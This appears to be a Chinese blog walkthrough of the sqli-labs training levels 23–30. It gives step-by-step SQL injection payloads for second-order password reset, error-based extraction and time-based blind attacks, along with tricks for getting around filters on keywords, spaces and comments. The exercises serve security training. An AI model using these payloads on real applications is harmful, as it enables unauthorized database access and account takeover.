level-23 (注释被过滤)
抓包
略
寻找注入点
- id=1’,id=1’',成周期性变化

POC
- POC:
id=1'+and+extractValue(1,concat(0x7e,user()))--+'

结果:failed。怀疑–被过滤掉了,试试前后闭合方案
- POC:
id=1'+and+extractValue(1,concat(0x7e,user()))+and+'

结果:ok。
level-24(二次注入)
这一关比较特殊,是用类admin的账号去修改admin的密码。
思路:
(1)我们注册一个admin'-- 、admin'#、admin' and '1、admin' or '1 的账号。这是第一次注入
(2)我们通过这个账号修改密码来修改隐藏的admin账户的密码。这是第二次注入
第一个'在这里是为了闭合前面的'
--后者#这里起到注释的效果
列出更改密码的sql更好理解:
| username | sql |
|---|---|
admin'-- | update table_x set pasword='123' where username='admin'-- ' and password='456; |
admin'# | update table_x set pasword='123' where username='admin#'-- ' and password='456; |
admin' and '1 | update table_x set pasword='123' where username='admin#'-- ' and password='456; |
admin' or '1 | update table_x set pasword='123' where username='admin#'-- ' or password='456; |
- 注册账号

注意--后面是有空格,否则起不到注释的效果 - 登录新账号修改密码(456)

- 验证(密码456)


==》 成功登录admin
level-25 (and、or被过滤)
抓包
略
寻找注入点
''存在
POC
- POC:
id=-1'+or+extractValue(1,concat(0x73,user()))--+
发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽


- 使用union

结果:成功注入
- 使用aandnd/anandd --> and
POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+

level-25a(and、or被过滤盲注)
抓包
略
寻找注入点
- POC:
id=1' and if(1,sleep(3),sleep(0))--+
==》不休眠 - POC:
id=1" and if(1,sleep(3),sleep(0))--+
==》休眠
==》存在注入
POC
- step1: 猜字符串长度:POC:
id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+

==》14
- step2:猜每个字符: POC:
id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+

==》root@localhost
level-26 (空格、注释被过滤)
抓包
查看正常请求和响应

寻找注入点
- 使用单双引号,发现输出周期性变化,存在注入
POC
试试union select
- POC:
'+union+select+1,user(),3--+
==》 空格被过滤了

==》 因为空格被过滤了,所以and,union都使用不了,--+也使用不了
寻找其他替代方案:&&替代and,后’闭合替换--+
试试逻辑&
- POC:
id=1'&extractvalue(1,concat(0x7e,user(),0x7e))&'//字符串拼接&

==》 无反应
试试逻辑&&
- POC:
id=1'&&extractvalue(1,concat(0x7e,user(),0x7e))&&'//逻辑&&

试试&使用%编码
POC: id=1'%26extractvalue(1,concat(0x7e,user(),0x7e))%26' //字符串拼接,&使用%编码

==》 成功爆出
试试&&使用%编码
POC: id=1'%26%26extractvalue(1,concat(0x7e,user(),0x7e))%26%26' //&&使用%编码

==》 成功爆出
试试|
POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|' //使用|

==》 成功爆出
试试||
POC: id=1'||extractvalue(1,concat(0x7e,user(),0x7e))||' //使用||

==》 成功爆出
试试|使用%编码
POC: id=1'%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c' //|使用%编码

==》 成功爆出
试试||使用%编码
POC: id=1'%7c%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c%7c' //||使用%编码

==》 成功爆出
试试()代替空格
POC: 1'aandnd(extractvalue(1,concat(0x7e,user())))='1

==》 成功爆出
试试0a%

==>爆破失败,%0a也被过滤掉了
总结
- 空格被过滤了
- 试试
&,&&,|,||以及他们的%编码 - 试试()
- 试试
- 因为空格被过滤了,不能使用
--+
level-26a (空格、注释被过滤,盲注)
抓包
同level-26
寻找注入点
同level-26
POC
因为没有回显,只能通过盲注爆破
- 获取字段的长度
POC:1'%26%26if(1=1,length(user())=§1§,0)=0%26%26'1


==》14 - 爆破每个字符
POC:id=1'%26%26if(1=1,substring(user(),§1§,1)='§a§',0)=0%26%26'1

==》root**@localhost **** **
level-27 (union select被过滤)
抓包
略
寻找注入点
略
==>存在
POC
- POC:
1'+%26%26+extractvalue(1,concat(0x7e,user(),0x7e))%26%26'
==> 过滤掉了空格 - POC:
id=1'+union+select+1,2,3,4--+

==》 union select被过滤了
既然空格和union select都被过滤了,试试使用&&、&、||、|、()、%0a+报错函数+前后闭合这种方式
POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|'

==》成功爆破。
当然使用其他%26%26、%26、||,也是可以的
level-27a (union select被过滤,盲注)
抓包
同level27
寻找注入点
同level27
POC
同level27,不过加上了盲注,盲注可以参考26a。
- 求字符串长度
POC: 1"+and%0aif(length(user())=§1§,1,0)="1
- 求每个字符
POC:1"+and%0aif(substring(user(),§1§,1)='§a§',1,0)="1
level-28 (过滤select、union)
抓包
略
注入点
1、1"回显正常 ,1'回显错误,存在单引号 字符型注入2'%26%26'1'='1,回显为id=1,存在小括号
(2&&1=1)的结果是1,所以id不论怎么变都和id=1。若没有小括号,id等于几,回显多少关的数据
POC
- 爆破列数
id=1')+order+by+10--+
因为有空格,所以–+不能使用
id=1')%0aorder%0aby%0a10%26%26'1'=('1
语句错误
==》数据库列数爆破失败,回显位只能不断尝试。 - 爆破回显位
- 测试过滤
id=1')+union+select+1,2,3+or+'1'=('1

- 测试过滤
==》空格被过滤了
==》 #被过滤了
==》--被过滤了
==》union select被过滤了
==》union空白字符select也被过滤了
- 尝试获取列数
id=1')%0aorder%0aby%0a10;%00
order by利用二分法爆破
注:%00代表NULL,用来表示字符串的结束,相当于C中"/0",因为用不了注释,这里使用%00
==》爆出列数4
- 尝试
%0a代替空格
id=0')%0aunion%0aselect%0a1,2,3%0aor('1'='1
==》union%0aselect被过滤了
- 尝试构造union select
id=0')%0aunionunion%0aselect%0aselect%0a1,2,3%0aor('1'='1

- 再回显位爆破username,database
id=0')%0aunionunion%0aselect%0aselect%0a1,database(),3%0aor('1'='1

==> 爆破成功,user()虽然没爆破出来,我们可以利用第二个位置填入user,再试一次即可。
注:当然上面也可以使用;%00,即替换后面%0aor('1'='1
level-28a (过滤select、union,盲注)
抓包
略
寻找注入点
略,同level-28
POC
同level-28

当然你也可以尝试盲注
level-29 (waf保护)
前言:阻抗失衡一般用于解释。这一关要路径带入login.php,否则是没有WAP轻易爆破

抓包
略
寻找注入点
略
POC
level-30 (waf保护,盲注)
前言:同level-29,url路径带入login.php;
抓包
略
寻找注入点
略
IT安全:绕过过滤的SQL注入技巧与WAF挑战
文章详细描述了在Web应用程序中遇到的各种SQL注入挑战,包括如何绕过and,or,union等关键字过滤,使用特殊字符和编码技巧进行盲注攻击,以及在WAF保护下的破解策略。
1954

被折叠的 条评论
为什么被折叠?



